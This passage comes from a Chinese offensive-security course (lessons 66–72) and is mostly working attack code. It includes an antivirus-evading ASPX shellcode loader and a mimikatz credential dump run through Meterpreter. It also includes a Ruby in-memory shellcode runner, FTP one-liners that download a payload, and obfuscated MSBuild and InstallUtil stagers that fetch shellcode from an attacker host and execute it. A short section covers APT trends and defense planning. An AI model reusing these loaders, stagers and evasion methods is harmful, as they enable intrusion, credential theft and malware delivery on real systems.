0x7b,0xdc,0xe2,0x43,0xf1,0xee,0x3b,0x93,0xb9,0x95,0x29,0x01,0x97,0x8c,0x09, 38. 0x72,0xee,0x78,0x1a,0x13,0x60,0xa6,0xac,0x05,0x99,0x6c,0x28,0x81,0x29,0x5d, 39. 0x37,0x89,0x2a,0x3d,0xbf,0x0e,0xc7,0xeb,0x9f,0x44,0x1d,0xb3,0x4d,0x1a,0xbc, 40. 0xe2,0x22,0xb2,0xb3,0xa6,0x43,0x3e,0x46,0xc5,0x0d,0xba,0x87,0xd5,0x6d,0x70, 附录:Sourcecode 第六十六课:借助aspx对payload进行分离免杀 -434- 本文档使用书栈(BookStack.CN)构建 41. 0xfe,0x87,0x58,0x2c,0x4b,0x8c,0x2d,0x56,0x21,0x4a,0xbf,0x45,0x8c,0xd9,0x9e, 42. 0xa0,0xe4,0x20,0x6b,0x7f,0xfb,0xd0,0x1e,0x88,0x13,0x6e,0x11,0xe9,0xd9}; 43. 44. IntPtrhandle=IntPtr.Zero; 45. handle=VirtualAlloc( 46. IntPtr.Zero, 47. codeBytes.Length, 48. MEM_COMMIT|MEM_RESERVE, 49. PAGE_EXECUTE_READWRITE); 50. 51. try 52. { 53. Marshal.Copy(codeBytes,0,handle,codeBytes.Length); 54. MsfpayloadProcmsfpayload 55. =Marshal.GetDelegateForFunctionPointer(handle,typeof(MsfpayloadProc))as MsfpayloadProc; 56. msfpayload(); 57. } 58. 59. finally 60. { 61. VirtualFree(handle,0,MEM_RELEASE); 62. } 63. } 64. [DllImport("Kernel32.dll",EntryPoint="VirtualAlloc")] 65. 66. publicstaticexternIntPtrVirtualAlloc(IntPtraddress,intsize,ui ntallocType,uintprotect); 67. 68. [DllImport("Kernel32.dll",EntryPoint="VirtualFree")] 69. 70. publicstaticexternboolVirtualFree(IntPtraddress,intsize,uintfreeType); 71. constuintMEM_COMMIT=0x1000; 72. constuintMEM_RESERVE=0x2000; 73. constuintPAGE_EXECUTE_READWRITE=0x40; 74. constuintMEM_RELEASE=0x8000; 75. </script> Micropoor 第六十六课:借助aspx对payload进行分离免杀 -435- 本文档使用书栈(BookStack.CN)构建 Railgun是Meterpreterstdapi的扩展,允许任意加载DLL。Railgun的最大好处是能够动态访问 系统上的整个WindowsAPI。通过从用户进程调用WindowsAPI。 meterpreter下执行irb进入ruby交互。 基本的信息搜集: 1. >>client.sys.config.sysinfo['OS'] 2. =>"Windows.NETServer(Build3790,ServicePack2)." 3. >>client.sys.config.getuid 4. =>"WIN03X64\\Administrator" 5. >>interfaces=client.net.config.interfaces 6. =>[# <Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x000055aee92c5770 @index=65539,@mac_addr="\x00\f)\x85\xD6}",@mac_name="Intel(R)PRO/1000MT NetworkConnection",@mtu=1500,@flags=nil,@addrs=["192.168.1.119"], @netmasks=["255.255.255.0"],@scopes=[]>,# <Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x000055aee92c5220 @index=1,@mac_addr="",@mac_name="MSTCPLoopbackinterface",@mtu=1520, @flags=nil,@addrs=["127.0.0.1"],@netmasks=[],@scopes=[]>] 7. >>interfaces.eachdo|i| 8. ?>putsi.pretty 9. >>end 10. 11. Interface65539 12. ============ 13. Name:Intel(R)PRO/1000MTNetworkConnection 14. HardwareMAC:00:0c:29:85:d6:7d 15. MTU:1500 16. IPv4Address:192.168.1.119 17. IPv4Netmask:255.255.255.0 18. Interface1 19. ============ 20. Name:MSTCPLoopbackinterface 21. HardwareMAC:00:00:00:00:00:00 22. MTU:1520 第六十七课:meterpreter下的irb操作第一季 -436- 本文档使用书栈(BookStack.CN)构建 23. IPv4Address:127.0.0.1 24. =>[# <Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x000055aee92c5770 @index=65539,@mac_addr="\x00\f)\x85\xD6}",@mac_name="Intel(R)PRO/1000MT NetworkConnection",@mtu=1500,@flags=nil,@addrs=["192.168.1.119"], @netmasks=["255.255.255.0"],@scopes=[]>,# <Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x000055aee92c5220 @index=1,@mac_addr="",@mac_name="MSTCPLoopbackinterface",@mtu=1520, @flags=nil,@addrs=["127.0.0.1"],@netmasks=[],@scopes=[]>] 25. >> 锁定注销目标机: 1. >>client.railgun.user32.LockWorkStation() 2. =>{"GetLastError"=>0, "ErrorMessage"=>"\xB2\xD9\xD7\xF7\xB3\xC9\xB9\xA6\xCD\xEA\xB3\xC9\xA1\xA3", "return"=>true} 3. >> 调用MessageBox: 1. >>client.railgun.user32.MessageBoxA(0,"Micropoor","Micropoor","MB_OK") 第六十七课:meterpreter下的irb操作第一季 -437- 本文档使用书栈(BookStack.CN)构建 快速获取当前绝对路径: 1. >>client.fs.dir.pwd 2. =>"C:\\DocumentsandSettings\\Administrator\\\xE6\xA1\x8C\xE9\x9D\xA2" 目录相关操作: 1. >>client.fs.dir.chdir("c:\\") 2. =>0 3. >>client.fs.dir.entries 4. =>["ADFS","AUTOEXEC.BAT","boot.ini","bootfont.bin","CONFIG.SYS", "DocumentsandSettings","Inetpub","IO.SYS","MSDOS.SYS","NTDETECT.COM", "ntldr","pagefile.sys","ProgramFiles","ProgramFiles(x86)","RECYCLER", "SystemVolumeInformation","WINDOWS","wmpub"] 建立文件夹: 第六十七课:meterpreter下的irb操作第一季 -438- 本文档使用书栈(BookStack.CN)构建 1. >>client.fs.dir.mkdir("Micropoor") 2. =>0 hash操作: 1. >>client.core.use"mimikatz" 2. =>true 3. >>client.mimikatz 4. =>#<Rex::Post::Meterpreter::Extensions::Mimikatz::Mimikatz:0x000055aee91ceb28 @client=#<Session:meterpreter192.168.1.119:53(192.168.1.119) "WIN03X64\Administrator@WIN03X64">,@name="mimikatz"> 5. >>client.mimikatz.kerberos 6. =>[{:authid=>"0;996",:package=>"Negotiate",:user=>"NETWORKSERVICE", :domain=>"NTAUTHORITY", :password=>"mod_process::getVeryBasicModulesListForProcess:(0x0000012b) \xC5\x8C\x10\xE8\x06\x84ReadProcessMemory\x16WriteProcessMemory\xF7B\x02 \nn.a.(kerberosKO)"},{:authid=>"0;44482",:package=>"NTLM",:user=>"", :domain=>"",:password=>"mod_process::getVeryBasicModulesListForProcess: (0x0000012b)\xC5\x8C\x10\xE8\x06\x84ReadProcessMemory\x16WriteProcessMemory \xF7B\x02\nn.a.(kerberosKO)"},{:authid=>"0;115231",:package=\>"NTLM", :user=>"Administrator",:domain=>"WIN03X64",:password=>"mod_process::getVery BasicModulesListForProcess:(0x0000012b)\xC5\x8C\x10\xE8\x06\x84 ReadPocessMemory\x16WriteProcessMemory\xF7B\x02\nn.a.(kerberosKO)"},{:a uthid=>"0;997",:package=>"Negotiate",:user=>"LOCALSERVICE",:domain=>"NT AUTHORITY",:password=>"mod_process::getVeryBasicModulesListForProcess: (0x0000012b)\xC5\x8C\x10\xE8\x06\x84ReadProcessMemory\x16WriteProcessMemory \xF7B\x02\nn.a.(kerberosKO)"},{:authid=>"0;999",package=>"NTLM", 7. :user=>"WIN03X64$",:domain=>"WORKGROUP", :password=>"mod_process::getVeryBasicModulesListForProcess:(0x0000012b) \xC5\x8C\x10\xE8\x06\x84ReadProcessMemory\x16WriteProcessMemory\xF7B\x02 \nn.a.(kerberosKO)"}] 第六十七课:meterpreter下的irb操作第一季 -439- 本文档使用书栈(BookStack.CN)构建 内网主机发现,如路由,arp等: 1. >>client.net.config.arp_table 2. =>[#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Arp:0x000055aee7f5f6b8 @ip_addr="192.168.1.1",@mac_addr="78:44:fd:8e:91:59",@interface="65539">,# <Rex::Post::Meterpreter::Extensions::Stdapi::Net::Arp:0x000055aee7f5ee20 @ip_addr="192.168.1.3",@mac_addr="28:16:ad:3b:51:78",@inteface="65539">] 3. >>client.net.config.arp_table[0].ip_addr 4. >>=>"192.168.1.1" 5. >>client.net.config.arp_table[0].mac_addr 6. =>"78:44:fd:8e:91:59" 7. >>client.net.config.arp_table[0].interface 8. =>"65539" 9. >>client.net.config.routes 10. =>[#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee789be58 @subnet="0.0.0.0",@netmask="0.0.0.0",@gateway="192.168.1.1", 11. @interface="65539",@metric=10>,#<Rex::Post::Meterpreter::Extensions::St 12. dapi::Net::Route:0x000055aee789a7b0@subnet="127.0.0.0",@netmask="255.0.0.0", @gateway="127.0.0.1",@interface="1",@metric=1>,# <Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee78993b0 \@subnet="192.168.1.0",@netmask="255.255.255.0",@gateway="192.168.1.119", @interface="65539",@metric=10>,# <Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee786fec0 @subnet="192.168.1.119",@netmask="255.255.255.255",@gateway="127.0.0.1", @interface="1",@metric=10>,# <Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee786e9d0 @subnet="192.168.1.255",@netmask="255.255.255.255",@gateway="192.168.1.119", @inte 13. rface="65539",@metric=10>,# <Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee786d698 @subnet="224.0.0.0",@netmask="240.0.0.0",@gateway="192.168.1.119", @interface="65539",@metric=10>,# <Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee785be98 @subnet="255.255.255.255",@netmask="255.255.255.255", @gateway="192.168.1.119", 第六十七课:meterpreter下的irb操作第一季 -440- 本文档使用书栈(BookStack.CN)构建 14. @interface="65539",@metric=1>] 实战中的敏感文件操作,也是目前最稳定,速度最快的方式: 1. >>client.fs.file.search("C:\\","*.txt") 更多的敏感文件操作,后续补充。 更多相关的api操作在未来的课时中介绍。 Micropoor 第六十七课:meterpreter下的irb操作第一季 -441- 本文档使用书栈(BookStack.CN)构建 本季是为配合msf在渗透过程中无文件渗透,提前做基础过度。也为msf插件编写做基础过度。 1. msfvenom‐pwindows/messageboxTEXT=MicropoorTITLE=Micropoor‐fruby ‐‐smallest 1. require'fiddle' 2. require'fiddle/import' rubyshellcode生成如下: 附源码: 第六十八课:基于Ruby内存加载shellcode第一季 -442- 本文档使用书栈(BookStack.CN)构建 3. require'fiddle/types' 4. 5. #msfvenom‐pwindows/messageboxTEXT=MicropoorTITLE=Micropoor‐fruby‐‐ smallest 6. shellcode= 7. "\\xd9\\xeb\\x9b\\xd9\\x74\\x24\\xf4\\x31\\xd2\\xb2\\x77\\x31\\xc9\\x64"+ 8. "\\x8b\\x71\\x30\\x8b\\x76\\x0c\\x8b\\x76\\x1c\\x8b\\x46\\x08\\x8b\\x7e"+ 9. "\\x20\\x8b\\x36\\x38\\x4f\\x18\\x75\\xf3\\x59\\x01\\xd1\\xff\\xe1\\x60"+ 10. "\\x8b\\x6c\\x24\\x24\\x8b\\x45\\x3c\\x8b\\x54\\x28\\x78\\x01\\xea\\x8b" 11. "\\x4a\\x18\\x8b\\x5a\\x20\\x01\\xeb\\xe3\\x34\\x49\\x8b\\x34\\x8b\\x01" 12. "\\xee\\x31\\xff\\x31\\xc0\\xfc\\xac\\x84\\xc0\\x74\\x07\\xc1\\xcf\\x0d" 13. "\\x01\\xc7\\xeb\\xf4\\x3b\\x7c\\x24\\x28\\x75\\xe1\\x8b\\x5a\\x24\\x01" 14. "\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x01\\xeb\\x8b\\x04\\x8b\\x01" 15. "\\xe8\\x89\\x44\\x24\\x1c\\x61\\xc3\\xb2\\x08\\x29\\xd4\\x89\\xe5\\x89" 16. "\\xc2\\x68\\x8e\\x4e\\x0e\\xec\\x52\\xe8\\x9f\\xff\\xff\\xff\\x89\\x45" 17. "\\x04\\xbb\\x7e\\xd8\\xe2\\x73\\x87\\x1c\\x24\\x52\\xe8\\x8e\\xff\\xff" 18. "\\xff\\x89\\x45\\x08\\x68\\x6c\\x6c\\x20\\x41\\x68\\x33\\x32\\x2e\\x64" 19. "\\x68\\x75\\x73\\x65\\x72\\x30\\xdb\\x88\\x5c\\x24\\x0a\\x89\\xe6\\x56" 20. "\\xff\\x55\\x04\\x89\\xc2\\x50\\xbb\\xa8\\xa2\\x4d\\xbc\\x87\\x1c\\x24" 21. "\\x52\\xe8\\x5f\\xff\\xff\\xff\\x68\\x72\\x58\\x20\\x20\\x68\\x6f\\x70" 22. "\\x6f\\x6f\\x68\\x4d\\x69\\x63\\x72\\x31\\xdb\\x88\\x5c\\x24\\x09\\x89" 23. "\\xe3\\x68\\x72\\x58\\x20\\x20\\x68\\x6f\\x70\\x6f\\x6f\\x68\\x4d\\x69" 24. "\\x63\\x72\\x31\\xc9\\x88\\x4c\\x24\\x09\\x89\\xe1\\x31\\xd2\\x52\\x53" 25. "\\x51\\x52\\xff\\xd0\\x31\\xc0\\x50\\xff\\x55\\x08" 26. 27. 28. includeFiddle 29. 30. kernel32=Fiddle.dlopen('kernel32') 31. 32. ptr=Function.new(kernel32['VirtualAlloc'],[4,4,4,4],4).call(0, shellcode.size,0x3000,0x40) 33. 34. Function.new(kernel32['VirtualProtect'],[4,4,4,4],4).call(ptr, shellcode.size,0,0) 35. 36. buf=Fiddle::Pointer[shellcode] 37. 38. Function.new(kernel32['RtlMoveMemory'],[4,4,4],4).call(ptr,buf, shellcode.size) 39. 40. thread=Function.new(kernel32['CreateThread'],[4,4,4,4,4,4],4).call(0,0, 第六十八课:基于Ruby内存加载shellcode第一季 -443- 本文档使用书栈(BookStack.CN)构建 ptr,0,0,0) 41. 42. Function.new(kernel32['WaitForSingleObject'],[4,4],4).call(thread,‐1) Micropoor 第六十八课:基于Ruby内存加载shellcode第一季 -444- 本文档使用书栈(BookStack.CN)构建 目标资产信息搜集的广度,决定渗透过程的复杂程度。 目标主机信息搜集的深度,决定后渗透权限持续把控。 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。 持续渗透的本质是线索关联,而线索关联为后续的攻击链方提供了强大的方向。 后渗透的本质是权限把控,而权限把控为后渗透提供了以牺牲时间换取空间强大基础。 靶机背景介绍: 主机A1:CentOsx64全补丁,无提权漏洞,可互联网 主机A2:Windows2008x64全补丁无提权漏洞,脱网机 主机B:Windows2008x64全补丁无提权漏洞,域内主机,脱网机 主机C:Windows2008x64域控,存在ms14-068漏洞,脱网机 且A1,A2,B,C系统主机密码均为强口令 A1,A2,B,C为标准ABC类网,允许访问流程,A1——>A2——>B——>C,不允许跨主机访问。 (请注意每个主机的对应IP段) 整体攻击流程图: 引言(1): 第六十九课:渗透,持续渗透,后渗透的本质 -445- 本文档使用书栈(BookStack.CN)构建 模拟开始攻击: 扫描主机A1对攻击机开放端口:80,22 扫描主机A1-Web目录结构: 第六十九课:渗透,持续渗透,后渗透的本质 -446- 本文档使用书栈(BookStack.CN)构建 主机A1-Web搜索处存在sql注入: 登录后台得到shell: 第六十九课:渗透,持续渗透,后渗透的本质 -447- 本文档使用书栈(BookStack.CN)构建 生成tcppayload以php一句话执行: 第六十九课:渗透,持续渗透,后渗透的本质 -448- 本文档使用书栈(BookStack.CN)构建 A1对内信息搜集发现A2,并且针对A1,没有可用提权漏洞(Web非root权限),放弃提权: 以A1作为跳板添加虚拟路由,并且开始做针对A2的对内信息搜集: 第六十九课:渗透,持续渗透,后渗透的本质 -449- 本文档使用书栈(BookStack.CN)构建 以A1跳板发现A2部署weblogic,并且存在漏洞。转发目标机7001至本地,利用漏洞。 第六十九课:渗透,持续渗透,后渗透的本质 -450- 本文档使用书栈(BookStack.CN)构建 第六十九课:渗透,持续渗透,后渗透的本质 -451- 本文档使用书栈(BookStack.CN)构建 发现A2全补丁,放弃提权,(weblogic为user权限)对内信息刺探A2,得到weblogic相关 配置文件,解密后,得到密码。 尝试做二级跳板,以weblogic相关配置,尝试对B(域内成员)的渗透(SMB) 第六十九课:渗透,持续渗透,后渗透的本质 -452- 本文档使用书栈(BookStack.CN)构建 获取B权限(system),尝试对内B的本身信息搜集,发现域账号(普通成员)user1. 第六十九课:渗透,持续渗透,后渗透的本质 -453- 本文档使用书栈(BookStack.CN)构建 渗透测试过程,提权是非核心任务,这里也不建议尝试提权,因为在实战过程中获取某个“点”的权限, 过程是及其漫长以及困难的,不要因为某个大胆的尝试,而影响了整个渗透测试流程。 尝试三级跳板,尝试获取sid,以及域控对内相关IP,尝试越权,获取域控权限。 引言(2): 第六十九课:渗透,持续渗透,后渗透的本质 -454- 本文档使用书栈(BookStack.CN)构建 第六十九课:渗透,持续渗透,后渗透的本质 -455- 本文档使用书栈(BookStack.CN)构建 并没有结束: 在得到域控后,对主机C对内信息搜集,得到域控administrator密码,尝试用该密码ssh—->A1,成功, root权限。 广告(你需要背下来的广告词):只要是“一个人”设置的密码“群”,一定有大的规律,只要是“一个行 业”设置的密码“群”一定有规律可寻。 渗透的本质是信息搜集,而要把信息搜集发挥最大效果,一定是离不开“线索关联”,而信息搜集,无论 是对内,对外,更或者是主动信息搜集,被动信息搜集。如何把目标A与B的信息搜集,整理后做“线索 关联”是一个非常有趣的工作。 APT攻击三大要素,既: 攻击手段复杂,持续时间长,高危害性 APT攻击主要分类为两大类,既: 高级持续渗透,即时渗透 引言(4): 后者的话: 第六十九课:渗透,持续渗透,后渗透的本质 -456- 本文档使用书栈(BookStack.CN)构建 第六十九课:渗透,持续渗透,后渗透的本质 -457- 本文档使用书栈(BookStack.CN)构建 APT两大类攻击核心诉求区别: 第六十九课:渗透,持续渗透,后渗透的本质 -458- 本文档使用书栈(BookStack.CN)构建 在做调研之前,作者一直以为越发达的城市,或者越政治中心的城市是发生攻击的高发地,但是在调研 后,打破了我之前的想法,于是作者深入调研原因究竟,以便更好的了解企业安全建设的规划。 第六十九课:渗透,持续渗透,后渗透的本质 -459- 本文档使用书栈(BookStack.CN)构建 在针对政府机构的攻击中,APT组织除了会攻击一般的政府机构外,还有专门针对公检法的攻击。 第六十九课:渗透,持续渗透,后渗透的本质 -460- 本文档使用书栈(BookStack.CN)构建 在针对能源行业的攻击中,APT组织重点关注的领域依次是:石油、天然气和核能。针对能源行业的攻 击,对国家安全具有很大的影响。 在针对金融行业的攻击中,APT组织最为关注的是银行,其次是证券、互联网金融等。还有部分APT组 织会关注到与虚拟数字货币(如比特币、门罗币等)相关的机构或公司。针对金融机构的攻击大多会利 用安全漏洞。针对ATM自动取款机的攻击也一直延续了2016年的活跃状态。 还有一点值得注意:APT组织的攻击虽然具有很强的针对性,但其攻击目标也并不一定是单一的。有的 APT组织只攻击特定国家特定领域的目标(仅从目前已经披露的情况看),但也有很多APT组织会对多 个国家的不同领域目标展开攻击。上图给出了2017年全球各国研究机构发布的APT研究报告中,披露 APT组织攻击目标的所属国家、领域数量分析。 目前市场上的企业网络安全规划与建设大部分存在统一实施方案,或者是模板方案。而非针对特定行 业,特定客户群体来制定针对方案。而不同行业,不同背景的企业安全规划方案也一定是不相同的。如 传统行业(医药,食品,汽车)对待企业安全的建设是起跑阶段。如金融行业(证券,银行,保险)对 待企业安全的建设是规划与实施阶段。如互联网行业(某度,某巴,某鹅)对待企业安全建设是自研或 商业化阶段。为了更好的了解,所以如上制图,更能清楚的看到,未来企业网络安全对待企业发展的重 要性,以及特定行业特定规划方案,特定行业特定防御对象。如某X企业安全预算为100万,是否应该针 对该企业,行业,地理位置,做防御预算倾斜,并且留有10%-15%的资金量做2月,3月,11月攻击高 发期的预案资金等。 由于信息化,自动化的办公,企业成本的考虑,传统的“以点打面”的点会越来越分散与难以集中管理, 如跨国办公,移动办公等。那么可预知的攻击方式将会以人为突破口的事越来越多。安全的本质又不能 仅仅靠预算与设备的投入而杜绝,尤其是在未来的大型甲方公司,都会有着自己的安全团队,那么如何 把网络安全发展成未来甲方公司的企业文化,将会是一个漫长的过程。而近些年无论是国内还是国外的 官方部门开始重视网络安全,但是效果不明显,这里做一个总结,同样部分也适用于企业: 引言(5): 总结: 第六十九课:渗透,持续渗透,后渗透的本质 -461- 本文档使用书栈(BookStack.CN)构建 Micropoor 第六十九课:渗透,持续渗透,后渗透的本质 -462- 本文档使用书栈(BookStack.CN)构建 windows全平台自带ftp,在实战中需要考虑两点。 数据传输的完整性。 代码得精简 本季作为第四十课的补充,一句话下载更为精简。更符合于实战。 靶机: 192.168.1.119 demo下载文件为: bin_tcp_x86_53.exe 1. echoopen127.0.0.1>o&echouser123123>>o&echogetbin_tcp_x86_53.exe>> o&echoquit>>o&ftp‐n‐s:o&del/F/Qo 第七十课:ftp一句话下载payload补充 -463- 本文档使用书栈(BookStack.CN)构建 缩短一句话下载: 1. echoopen127.0.0.1>o&echogetbin_tcp_x86_53.exe>>o&echoquit>>o&ftp ‐A‐n‐s:o&del/F/Qo 第七十课:ftp一句话下载payload补充 -464- 本文档使用书栈(BookStack.CN)构建 Micropoor 第七十课:ftp一句话下载payload补充 -465- 本文档使用书栈(BookStack.CN)构建 MSBuild是MicrosoftBuildEngine的缩写,代表Microsoft和VisualStudio的新的 生成平台。MSBuild在如何处理和生成软件方面是完全透明的,使开发人员能够在未安装Visual Studio的生成实验室环境中组织和生成产品。 MSBuild引入了一种新的基于XML的项目文件格式,这种格式容易理解、易于扩展并且完全受 Microsoft支持。MSBuild项目文件的格式使开发人员能够充分描述哪些项需要生成,以及如何利用 不同的平台和配置生成这些项。 说明:Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,Msbuild命令无法识别。 基于白名单MSBuild.exe配置payload: Windows7默认位置为: 1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe 攻击机:192.168.1.4Debian 靶机:192.168.1.3Windows7 1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exeMicropoor.xml MSBuild简介: 靶机执行: 配置攻击机msf: 第七十一课:基于白名单Msbuild.exe执行payload第一季 -466- 本文档使用书栈(BookStack.CN)构建 注:x86payload 1. <ProjectToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 2. 3. <!‐‐C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csprojMicropoor‐‐> 4. 5. <TargetName="iJEKHyTEjyCU"> 6. 7. <xUokfh/> 8. 9. </Target> 10. 11. <UsingTask 12. 13. TaskName="xUokfh" 14. 15. TaskFactory="CodeTaskFactory" 附录:Micropoor.xml 第七十一课:基于白名单Msbuild.exe执行payload第一季 -467- 本文档使用书栈(BookStack.CN)构建 16. 17. AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\\Microsoft.Build.Tasks.v4.0 > 18. 19. <Task> 20. 21. <CodeType="Class"Language="cs"> 22. 23. <![CDATA[ 24. 25. usingSystem;usingSystem.Net;usingSystem.Net.Sockets;usingSystem.Linq; usingSystem.Runtime.InteropServices;usingSystem.Threading;using Microsoft.Build.Framework;usingMicrosoft.Build.Utilities; 26. 27. publicclassxUokfh:Task,ITask{ 28. 29. [DllImport("kernel32")]privatestaticexternUInt32VirtualAlloc(UInt32 ogephG,UInt32fZZrvQ,UInt32nDfrBaiPvDyeP,UInt32LWITkrW); 30. 31. [DllImport("kernel32")]privatestaticexternIntPtrCreateThread(UInt32 qEVoJxknom,UInt32gZyJBJWYQsnXkWe,UInt32jyIPELfKQYEVZM,IntPtradztSHGJiurGO, UInt32vjSCprCJ,refUInt32KbPukprMQXUp); 32. 33. [DllImport("kernel32")]privatestaticexternUInt32WaitForSingleObject(IntPtr wVCIQGmqjONiM,UInt32DFgVrE); 34. 35. staticbyte[]VYcZlUehuq(stringIJBRrBqhigjGAx,intXBUCexXIrGIEpe){ 36. 37. IPEndPointDRHsPzS=newIPEndPoint(IPAddress.Parse(IJBRrBqhigjGAx), XBUCexXIrGIEpe); 38. 39. SocketzCoDOd=newSocket(AddressFamily.InterNetwork,SocketType.Stream, ProtocolType.Tcp); 40. 41. try{zCoDOd.Connect(DRHsPzS);} 42. 43. catch{returnnull;} 44. 45. byte[]OCrGofbbWRVsFEl=newbyte[4]; 46. 47. zCoDOd.Receive(OCrGofbbWRVsFEl,4,0); 48. 第七十一课:基于白名单Msbuild.exe执行payload第一季 -468- 本文档使用书栈(BookStack.CN)构建 49. intauQJTjyxYw=BitConverter.ToInt32(OCrGofbbWRVsFEl,0); 50. 51. byte[]MlhacMDOKUAfvMX=newbyte[auQJTjyxYw+5]; 52. 53. intGFtbdD=0; 54. 55. while(GFtbdD<auQJTjyxYw) 56. 57. {GFtbdD+=zCoDOd.Receive(MlhacMDOKUAfvMX,GFtbdD+5,(auQJTjyxYw‐GFtbdD)< 4096?(auQJTjyxYw‐GFtbdD):4096,0);} 58. 59. byte[]YqBRpsmDUT=BitConverter.GetBytes((int)zCoDOd.Handle); 60. 61. Array.Copy(YqBRpsmDUT,0,MlhacMDOKUAfvMX,1,4);MlhacMDOKUAfvMX[0]=0xBF; 62. 63. returnMlhacMDOKUAfvMX;} 64. 65. staticvoidNkoqFHncrcX(byte[]qLAvbAtan){ 66. 67. if(qLAvbAtan!=null){ 68. 69. UInt32jrYMBRkOAnqTqx=VirtualAlloc(0,(UInt32)qLAvbAtan.Length,0x1000, 0x40); 70. 71. Marshal.Copy(qLAvbAtan,0,(IntPtr)(jrYMBRkOAnqTqx),qLAvbAtan.Length); 72. 73. IntPtrWCUZoviZi=IntPtr.Zero; 74. 75. UInt32JhtJOypMKo=0; 76. 77. IntPtrUxebOmhhPw=IntPtr.Zero; 78. 79. WCUZoviZi=CreateThread(0,0,jrYMBRkOAnqTqx,UxebOmhhPw,0,refJhtJOypMKo); 80. 81. WaitForSingleObject(WCUZoviZi,0xFFFFFFFF);}} 82. 83. publicoverrideboolExecute() 84. 85. { 86. 87. byte[]uABVbNXmhr=null;uABVbNXmhr=VYcZlUehuq("192.168.1.4",53); 88. 第七十一课:基于白名单Msbuild.exe执行payload第一季 -469- 本文档使用书栈(BookStack.CN)构建 89. NkoqFHncrcX(uABVbNXmhr); 90. 91. returntrue;}} 92. 93. ]]> 94. 95. </Code> 96. 97. </Task> 98. 99. </UsingTask> 100. 101. </Project> Micropoor 第七十一课:基于白名单Msbuild.exe执行payload第一季 -470- 本文档使用书栈(BookStack.CN)构建 Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服 务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。 具体参考:WindowsInstaller部署 https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120) 说明:Installutil.exe所在路径没有被系统添加PATH环境变量中,因此,Installutil命令无法 识别。 基于白名单installutil.exe配置payload: Windows7默认位置: 1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe 攻击机:192.168.1.4Debian 靶机:192.168.1.3Windows7 Installutil简介: 配置攻击机msf: 靶机执行: 第七十二课:基于白名单Installutil.exe执行payload第二季 -471- 本文档使用书栈(BookStack.CN)构建 1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe/r:System.Ente rpriseServices.dll/r:System.IO.Compression.dll/target:library/out:Mic opoor.exe/keyfile:C:\Users\John\Desktop\installutil.snk/unsafe C:\Users\John\Desktop\installutil.cs payload: Micropoor.exe 靶机编译: 第七十二课:基于白名单Installutil.exe执行payload第二季 -472- 本文档使用书栈(BookStack.CN)构建 靶机执行: 1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe/logfile= /LogToConsole=false/UMicropoor.exe 第七十二课:基于白名单Installutil.exe执行payload第二季 -473- 本文档使用书栈(BookStack.CN)构建 注:x64payload 1. usingSystem;usingSystem.Net;usingSystem.Linq;usingSystem.Net.Sockets; usingSystem.Runtime.InteropServices;usingSystem.Threading;using System.Configuration.Install;usingSystem.Windows.Forms; 2. 3. publicclassGQLBigHgUniLuVx{ 4. 5. publicstaticvoidMain() 6. 7. { 8. 9. while(true) 10. 11. {{MessageBox.Show("doge");Console.ReadLine();}} 12. 13. } 14. 15. } 16. 附录:Micropoor.cs 第七十二课:基于白名单Installutil.exe执行payload第二季 -474- 本文档使用书栈(BookStack.CN)构建 17. [System.ComponentModel.RunInstaller(true)] 18. 19. publicclassesxWUYUTWShqW:System.Configuration.Install.Installer 20. 21. { 22. 23. publicoverridevoidUninstall(System.Collections.IDictionaryzWrdFAUHmunnu) 24. 25. { 26. 27. jkmhGrfzsKQeCG.LCIUtRN(); 28. 29. } 30. 31. } 32. 33. publicclassjkmhGrfzsKQeCG 34. 35. {[DllImport("kernel32")]privatestaticexternUInt32VirtualAlloc(UInt32 YUtHhF,UInt32VenifEUR,UInt32NIHbxnOmrgiBGL,UInt32KIheHEUxhAfOI); 36. 37. [DllImport("kernel32")]privatestaticexternIntPtrCreateThread(UInt32 GDmElasSZbx,UInt32rGECFEZG,UInt32UyBSrAIp,IntPtrsPEeJlufmodo,UInt32 jmzHRQU,refUInt32SnpQPGMvDbMOGmn); 38. 39. [DllImport("kernel32")]privatestaticexternUInt32WaitForSingleObject(IntPtr pRIwbzTTS,UInt32eRLAWWYQnq); 40. 41. staticbyte[]ErlgHH(stringZwznjBJY,intKsMEeo){ 42. 43. IPEndPointqAmSXHOKCbGlysd=newIPEndPoint(IPAddress.Parse(ZwznjBJY),KsMEeo); 44. 45. SocketXXxIoIXNCle=newSocket(AddressFamily.InterNetwork,SocketType.Stream, ProtocolType.Tcp); 46. 47. try{XXxIoIXNCle.Connect(qAmSXHOKCbGlysd);} 48. 49. catch{returnnull;} 50. 51. byte[]UmquAHRnhhpuE=newbyte[4]; 52. 53. XXxIoIXNCle.Receive(UmquAHRnhhpuE,4,0); 第七十二课:基于白名单Installutil.exe执行payload第二季 -475- 本文档使用书栈(BookStack.CN)构建 54. 55. intkFVRSNnpj=BitConverter.ToInt32(UmquAHRnhhpuE,0); 56. 57. byte[]qaYyFq=newbyte[kFVRSNnpj+5]; 58. 59. intSRCDELibA=0; 60. 61. 